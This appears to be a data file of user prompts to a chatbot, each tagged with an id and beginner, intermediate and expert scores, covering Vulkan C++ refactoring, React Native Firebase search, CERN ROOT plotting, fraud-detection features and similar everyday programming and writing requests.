I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. I am in the process of converting the codebase from using vulkan.h to vulkan.hpp, as well as utilising RAII. Here is the new header for the BufferUtils class: BufferUtils.h: #pragma once #include <vulkan/vulkan.hpp> namespace BufferUtils { void CreateBuffer( vk::Device device, vk::PhysicalDevice physicalDevice, vk::DeviceSize size, vk::BufferUsageFlags usage, vk::MemoryPropertyFlags properties, vk::Buffer& buffer, vk::DeviceMemory& bufferMemory); uint32_t FindMemoryType(vk::PhysicalDevice physicalDevice, uint32_t typeFilter, vk::MemoryPropertyFlags properties); void CopyBuffer( vk::Device device, vk::CommandPool commandPool, vk::Queue graphicsQueue, vk::Buffer srcBuffer, vk::Buffer dstBuffer, vk::DeviceSize size); } Can you update the following code of the Mesh class to utilise vulkan.hpp, RAII and align with the BufferUtils class? Mesh.h: #pragma once #include <vector> #include <vulkan/vulkan.h> #include <glm/glm.hpp> #include "BufferUtils.h" struct Vertex { glm::vec3 position; glm::vec3 color; glm::vec2 texCoord; }; class Mesh { public: Mesh(); ~Mesh(); void Initialize(std::vector<Vertex> vertices, std::vector<uint32_t> indices, VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue); void Initialize(VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue); void Cleanup(); const std::vector<Vertex>& GetVertices() const; const std::vector<uint32_t>& GetIndices() const; VkBuffer GetVertexBuffer() const; VkBuffer GetIndexBuffer() const; void SetVertices(const std::vector<Vertex>& vertices); void SetIndices(const std::vector<uint32_t>& indices); std::vector<VkVertexInputBindingDescription> GetVertexInputBindingDescriptions() const; std::vector<VkVertexInputAttributeDescription> GetVertexInputAttributeDescriptions() const; private: VkDevice device; std::vector<Vertex> vertices; std::vector<uint32_t> indices; VkBuffer vertexBuffer; VkDeviceMemory vertexBufferMemory; VkBuffer indexBuffer; VkDeviceMemory indexBufferMemory; }; Mesh.cpp: #include "Mesh.h" Mesh::Mesh() : device(VK_NULL_HANDLE), vertexBuffer(VK_NULL_HANDLE), vertexBufferMemory(VK_NULL_HANDLE), indexBuffer(VK_NULL_HANDLE), indexBufferMemory(VK_NULL_HANDLE) { } Mesh::~Mesh() { Cleanup(); } void Mesh::Initialize(std::vector<Vertex> vertices, std::vector<uint32_t> indices, VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue) { this->vertices = vertices; this->indices = indices; this->device = device; Initialize(device, physicalDevice, commandPool, graphicsQueue); // Create vertex buffer and index buffer // (assuming you have helper functions CreateBuffer and CopyBuffer) // … } void Mesh::Initialize(VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue) { this->device = device; // Create vertex buffer and index buffer // (assuming you have helper functions CreateBuffer and CopyBuffer) // … // Declare and initialize stagingBuffer and bufferSize here VkBuffer stagingBuffer; VkDeviceMemory stagingBufferMemory; VkDeviceSize bufferSize = sizeof(vertices[0]) * vertices.size(); BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, stagingBuffer, stagingBufferMemory); void* data; vkMapMemory(device, stagingBufferMemory, 0, bufferSize, 0, &data); memcpy(data, vertices.data(), (size_t)bufferSize); vkUnmapMemory(device, stagingBufferMemory); BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, vertexBuffer, vertexBufferMemory); BufferUtils::CopyBuffer(device, commandPool, graphicsQueue, stagingBuffer, vertexBuffer, bufferSize); vkDestroyBuffer(device, stagingBuffer, nullptr); vkFreeMemory(device, stagingBufferMemory, nullptr); bufferSize = sizeof(indices[0]) * indices.size(); VkBuffer stagingIndexBuffer; VkDeviceMemory stagingIndexBufferMemory; BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, stagingIndexBuffer, stagingIndexBufferMemory); vkMapMemory(device, stagingIndexBufferMemory, 0, bufferSize, 0, &data); memcpy(data, indices.data(), (size_t)bufferSize); vkUnmapMemory(device, stagingIndexBufferMemory); BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_INDEX_BUFFER_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, indexBuffer, indexBufferMemory); BufferUtils::CopyBuffer(device, commandPool, graphicsQueue, stagingIndexBuffer, indexBuffer, bufferSize); vkDestroyBuffer(device, stagingIndexBuffer, nullptr); vkFreeMemory(device, stagingIndexBufferMemory, nullptr); } void Mesh::Cleanup() { if (device != VK_NULL_HANDLE) { if (vertexBuffer != VK_NULL_HANDLE) { vkDestroyBuffer(device, vertexBuffer, nullptr); vkFreeMemory(device, vertexBufferMemory, nullptr); vertexBuffer = VK_NULL_HANDLE; vertexBufferMemory = VK_NULL_HANDLE; } if (indexBuffer != VK_NULL_HANDLE) { vkDestroyBuffer(device, indexBuffer, nullptr); vkFreeMemory(device, indexBufferMemory, nullptr); indexBuffer = VK_NULL_HANDLE; indexBufferMemory = VK_NULL_HANDLE; } } } const std::vector<Vertex>& Mesh::GetVertices() const { return vertices; } const std::vector<uint32_t>& Mesh::GetIndices() const { return indices; } VkBuffer Mesh::GetVertexBuffer() const { return vertexBuffer; } VkBuffer Mesh::GetIndexBuffer() const { return indexBuffer; } void Mesh::SetVertices(const std::vector<Vertex>& vertices) { this->vertices = vertices; } void Mesh::SetIndices(const std::vector<uint32_t>& indices) { this->indices = indices; } std::vector<VkVertexInputBindingDescription> Mesh::GetVertexInputBindingDescriptions() const { std::vector<VkVertexInputBindingDescription> bindingDescriptions(1); bindingDescriptions[0].binding = 0; bindingDescriptions[0].stride = sizeof(Vertex); bindingDescriptions[0].inputRate = VK_VERTEX_INPUT_RATE_VERTEX; return bindingDescriptions; } std::vector<VkVertexInputAttributeDescription> Mesh::GetVertexInputAttributeDescriptions() const { std::vector<VkVertexInputAttributeDescription> attributeDescriptions(3); // Position attribute attributeDescriptions[0].binding = 0; attributeDescriptions[0].location = 0; attributeDescriptions[0].format = VK_FORMAT_R32G32B32_SFLOAT; attributeDescriptions[0].offset = offsetof(Vertex, position); // Color attribute attributeDescriptions[1].binding = 0; attributeDescriptions[1].location = 1; attributeDescriptions[1].format = VK_FORMAT_R32G32B32_SFLOAT; attributeDescriptions[1].offset = offsetof(Vertex, color); attributeDescriptions[2].binding = 0; attributeDescriptions[2].location = 2; attributeDescriptions[2].format = VK_FORMAT_R32G32_SFLOAT; attributeDescriptions[2].offset = offsetof(Vertex, texCoord); return attributeDescriptions; }
3772bbe6b84da2ad4465d52f5a1ee51b
{ "intermediate": 0.37721872329711914, "beginner": 0.37873294949531555, "expert": 0.24404840171337128 }
12,738
Build a HTML, JS code for a button type <input type="range"> to change images inside a <div> element.
7c31e7b2880989a42abfa038429a26ee
{ "intermediate": 0.4818570911884308, "beginner": 0.24053305387496948, "expert": 0.27760982513427734 }
12,739
how to run firebase in your js code
7ca131145f87f937bd3019f8acd84aa2
{ "intermediate": 0.7253229022026062, "beginner": 0.17792397737503052, "expert": 0.09675312042236328 }
12,740
hello
5f5579279622a832617858590ba2adb4
{ "intermediate": 0.32064199447631836, "beginner": 0.28176039457321167, "expert": 0.39759764075279236 }
12,741
source code to get vocal range of a song
ab0c3729eeb498701384f307cc3f4010
{ "intermediate": 0.3261878788471222, "beginner": 0.3030841052532196, "expert": 0.3707280457019806 }
12,742
generate code for Google meet
7b88868d0e5770306a3c1648246f00fb
{ "intermediate": 0.23492880165576935, "beginner": 0.17871320247650146, "expert": 0.5863580107688904 }
12,743
find grammatical errors and output as json of errors
d335a32e2f121d886b3aa89db0389d6f
{ "intermediate": 0.3807956278324127, "beginner": 0.2556253969669342, "expert": 0.3635789752006531 }
12,744
import zipfile import xml.etree.ElementTree WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}' PARA = WORD_NAMESPACE + 'p' TEXT = WORD_NAMESPACE + 't' TABLE = WORD_NAMESPACE + 'tbl' ROW = WORD_NAMESPACE + 'tr' CELL = WORD_NAMESPACE + 'tc' print(TABLE) with zipfile.ZipFile('P1 TN NGHE TIN.docx') as docx: tree = xml.etree.ElementTree.XML(docx.read('word/document.xml')) print(tree) for table in tree.iter(TABLE): for row in table.iter(ROW): for cell in row.iter(CELL): print("".join(node.text for node in cell.iter(TEXT))) convert to Dart
c8d8bbe6c5940240efb3ad950bf8e885
{ "intermediate": 0.36717134714126587, "beginner": 0.40372347831726074, "expert": 0.229105144739151 }
12,745
i have a fraud dataset, with these feature: transaction hours of the day, type of item transaction, amount of transaction, user lat, user long, merchant lat, merchant long, type of transaction. Can you give some best ways to aggregate new feature for this data set.
595b406ad4326c5aa2ce83c3a814e8a1
{ "intermediate": 0.2801385819911957, "beginner": 0.2340420037508011, "expert": 0.48581942915916443 }
12,746
i need to make a search. Here a need to enter name of what i need to find from PastMK collection and FutureMK collection (first would be FutureMK, second PastMK) and the result has to be shown on Search screen. import { Pressable, Text, TextInput, View, Image, TouchableOpacity, Modal } from 'react-native'; import { gStyle } from '../styles/style'; import { Feather } from '@expo/vector-icons'; import React, { useState, useEffect } from 'react'; import { useNavigation } from '@react-navigation/native'; import { firebase } from '../Firebase/firebase'; import 'firebase/compat/auth'; import 'firebase/compat/database'; import 'firebase/compat/firestore'; export default function Header() { const [searchTerm, setSearchTerm] = useState(''); const [searchResult, setSearchResult]= useState(''); const handleSearch = async ()=>{ const futureMKSnapshot = await firebase.firestore().collection('FutureMK').where('name','>=',searchTerm).where('name','<=',searchTerm + '\uf8ff').get(); const pastMKSnapshot = await firebase.firestore().collection('PastMK').where('name','>=',searchTerm).where('name','<=',searchTerm + '\uf8ff').get(); const futureMKData = futureMKSnapshot.docs.map(doc => ({ id: doc.id, ...doc.data() })); const pastMKData = pastMKSnapshot.docs.map(doc => ({ id: doc.id, ...doc.data() })); const results = [...futureMKData, ...pastMKData]; setSearchResult(results); navigation.navigate('Search', { results }); } const [userAuthenticated, setUserAuthenticated] = useState(false); const [isModalVisible, setIsModalVisible] = useState(false); const showModal = () => { setIsModalVisible(true); }; const hideModal = () => { setIsModalVisible(false); }; const navigation = useNavigation(); useEffect(() => { const unsubscribe = firebase.auth().onAuthStateChanged(user => { if (user) { setUserAuthenticated(true); } else { setUserAuthenticated(false); } }); return unsubscribe; }, []); return ( <View style={gStyle.main}> <View style={gStyle.headerContainer}> <Image source={require('../assets/logo.png')} style={gStyle.logoImg} /> <View style={gStyle.menu}> <TouchableOpacity onPress={showModal}> <Text style={gStyle.menuRedLine}></Text> <Text style={gStyle.menuRedLine}></Text> <Text style={gStyle.menuRedLine}></Text> <Modal visible={isModalVisible} animationType='fade' transparent={true}> <View style={gStyle.modal}> <TouchableOpacity onPress={hideModal}> <Text style={gStyle.close}>Х</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('Home')} > <Text style={gStyle.menuItem}>Главная</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('AllFutureMK')} > <Text style={gStyle.menuItem}>Будущие мастер-классы</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('AllPastMK')} > <Text style={gStyle.menuItem}>Архив мастер-классов</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('Sales')} > <Text style={gStyle.menuItem}>Скидки</Text> </TouchableOpacity> {userAuthenticated ? <TouchableOpacity onPress={()=>navigation.navigate('Profile')} > <Text style={gStyle.menuItem}>Личный кабинет</Text> </TouchableOpacity> : <TouchableOpacity onPress={()=>navigation.navigate('Auth')} > <Text style={gStyle.menuItem}>Личный кабинет</Text> </TouchableOpacity> } </View> </Modal> </TouchableOpacity> </View> </View> <View style={gStyle.searchBox}> <TextInput style={gStyle.search} placeholder="Поиск" /> <View style={gStyle.boxBtn}> <Pressable style={gStyle.searchBtn} onPress={handleSearch} > <Feather name="search" size={25} color="white" /> </Pressable> </View> </View> </View> ); } its where i need to enter. import { Text, View, TextInput, Pressable, ScrollView, Alert, TouchableHighlight, TouchableOpacity } from 'react-native'; import { gStyle } from '../styles/style'; import Header from '../components/Header'; import Footer from '../components/Footer'; import { useNavigation } from '@react-navigation/native'; import { firebase } from '../Firebase/firebase'; import 'firebase/compat/auth'; import 'firebase/compat/database'; import 'firebase/compat/firestore'; import React, {useState} from 'react'; export default function Search() { return ( <View> <Header/> <Footer/> </View> ); } its Search screen
46c50490344ea328a13014874a8d24b3
{ "intermediate": 0.5225780606269836, "beginner": 0.3944900929927826, "expert": 0.08293181657791138 }
12,747
<xsl:variable name="P_MSISDN" select="sc:get_variable('P_MSISDN')"/> <xsl:if test="string-length($P_MSISDN)!=0"> <xsl:variable name="MSISDN" select="sc:set_temp_variable('MSISDN',$P_MSISDN)"/> </xsl:if> <xsl:variable name="P_CLNT_CONTRACT" select="sc:get_cgi_request_variable('P_CLNT_CONTRACT')"/> <xsl:if test="string-length($P_CLNT_CONTRACT)!=0"> <xsl:variable name="CONTRACT_NUM" select="sc:set_temp_variable('CONTRACT_NUM',$P_CLNT_CONTRACT)"/> </xsl:if>
af0347d843872ab42267479f29de34be
{ "intermediate": 0.2273789346218109, "beginner": 0.6382667422294617, "expert": 0.1343543380498886 }
12,748
Write a code that, when entering the address of a contract, displays its age. Use APIKey. The contract is in the BscScan network
198bf8dba5d53456de957907d18bc894
{ "intermediate": 0.5912339687347412, "beginner": 0.11021316796541214, "expert": 0.29855284094810486 }
12,749
i have a raw data about fraud financial transaction, my raw data consists in: time doing transactions in day (just hour in 24h format, no day), amount of transaction, type of item transaction, job of user, user id, user lat, user long, merchant id, merchant lat, merchant long, type of transactions. Give me some ways to aggregated new feature for fraud detection.
1c7b21d9d1534448d94d52b1f7b50d92
{ "intermediate": 0.38874903321266174, "beginner": 0.27306148409843445, "expert": 0.3381895124912262 }
12,750
If the input text file is of format " 230327 1009 624.25 2133686 230327 1019 625.05 2118410 230327 1113 624.25 2128596 230327 1155 623.80 2122940 #powercut, Start V=3800V 230328 1110 618.05 2194431 230328 1112 618.75 2180465 230328 1114 619.30 2197377 230328 1116 619.35 2179354 230328 1119 619.25 2182342 230328 1218 616.00 2192395 230328 1420 610.20 2185431 230328 1525 608.80 2093946 230328 1607 608.70 2187497 230328 1720 607.40 2174014 230328 1940 607.70 1608268 230329 0854 602.70 1565048 230329 0908 602.20 1615388 #V=3900V 230329 0911 618.45 1648600 230329 0915 618.40 1639748 230329 0920 618.50 1641065 " ie in "YYMMDD, HHmm, current, count" format which are separated by "tab" in each row. So keeping all these in mind write a cpp and CERN ROOT code to plot count vs time and current vs time in such a way the graph restart from 0 time once the row conataining # (hashtag) is reached
000c29a70d7686905c0a568eb4f1156d
{ "intermediate": 0.38592639565467834, "beginner": 0.24167124927043915, "expert": 0.3724023699760437 }
12,751
Could not resolve all task dependencies for configuration ':classpath'. > Could not find com.android.tools.build:gradle:7.4. Searched in the following locations: - https://dl.google.com/dl/android/maven2/com/android/tools/build/gradle/7.4/gradle-7.4.pom - https://repo.maven.apache.org/maven2/com/android/tools/build/gradle/7.4/gradle-7.4.pom Required by: project : > Could not find com.android.tools.build:gradle:7.4. Searched in the following locations: - https://dl.google.com/dl/android/maven2/com/android/tools/build/gradle/7.4/gradle-7.4.pom - https://repo.maven.apache.org/maven2/com/android/tools/build/gradle/7.4/gradle-7.4.pom Required by: project : > project :react-native-gradle-plugin
0f3d1722b0dfed7a0224d3df54d7a66d
{ "intermediate": 0.3513660430908203, "beginner": 0.4144502878189087, "expert": 0.23418360948562622 }
12,752
SELECT customerid, total FROM invoices --???
d727b0151466cb8f17153816f23fc334
{ "intermediate": 0.3856365382671356, "beginner": 0.38390251994132996, "expert": 0.23046088218688965 }
12,753
hey
7c80d734ecef74e00143a1e4c5b6bc4d
{ "intermediate": 0.33180856704711914, "beginner": 0.2916048467159271, "expert": 0.3765866458415985 }
12,754
can you add a reference list with reliable sources to this speech outline: Speaking Outline Erjon Parashumti General Purpose: To inform Specific Purpose: By the end of my presentation, my audience will understand the proper form and technique for performing a deadlift and be able to correctly execute the movement. I. Introduction A. Attention Getter: Have you ever wanted to improve your strength training routine and overall physical fitness? The deadlift is a compound exercise that can help improve your strength, endurance, and posture. B. Thesis statement: Today, I will be teaching you the proper form and technique for performing a deadlift to maximize the benefits of this exercise and prevent injury. C. Preview of Main Points: 1. Understanding proper posture and form 2. Proper grip placement 3. Execution of the deadlift movement Transition: With a clear understanding of the benefits of deadlifts, let’s dive into the proper form and technique. II. Body A. Understanding proper posture and form 1. Proper alignment of feet, hips, and shoulders a). Importance of maintaining a neutral spine Transition: Now that we understand the importance of proper posture and form, let’s focus on grip placement. B. Proper grip placement 1). Difference between overhand and mixed grip 2). Placement of hands on the bar Transition: With proper posture and grip in place, we can now execute the deadlift movement. C. Execution of the deadlift movement 1). Starting position and initiation of movement 2). Full range of motion for the lift 3). Proper breathing techniques Transition: With these steps in mind, let’s review the key takeaways. III. Conclusion A. Review Main Points: Proper posture and form, proper grip placement, and execution of the deadlift movement. B. Closing Strategy: Deadlifting can be a complex movement, but with practice and proper form, this exercise can have numerous benefits for your overall fitness. I challenge you to incorporate deadlifts into your strength training routine and reap the rewards. Thank you for listening.
4b258e55ddf1f4cb00d2b56bd299c29e
{ "intermediate": 0.2700648307800293, "beginner": 0.4768527150154114, "expert": 0.2530824542045593 }
12,755
Produce code for a function in Python, taking a list of contracts as input (contracts each have a name, a start, a duration, and a value), returning two results: a path (as a list of contract names) describing the selection, in order, of contracts that do not overlap ; and how much value this path accumulates. The function should have linear complexity, if possible.
d4ac64156f89d1b30c4cb7d992b0bf30
{ "intermediate": 0.379756361246109, "beginner": 0.19975845515727997, "expert": 0.4204851984977722 }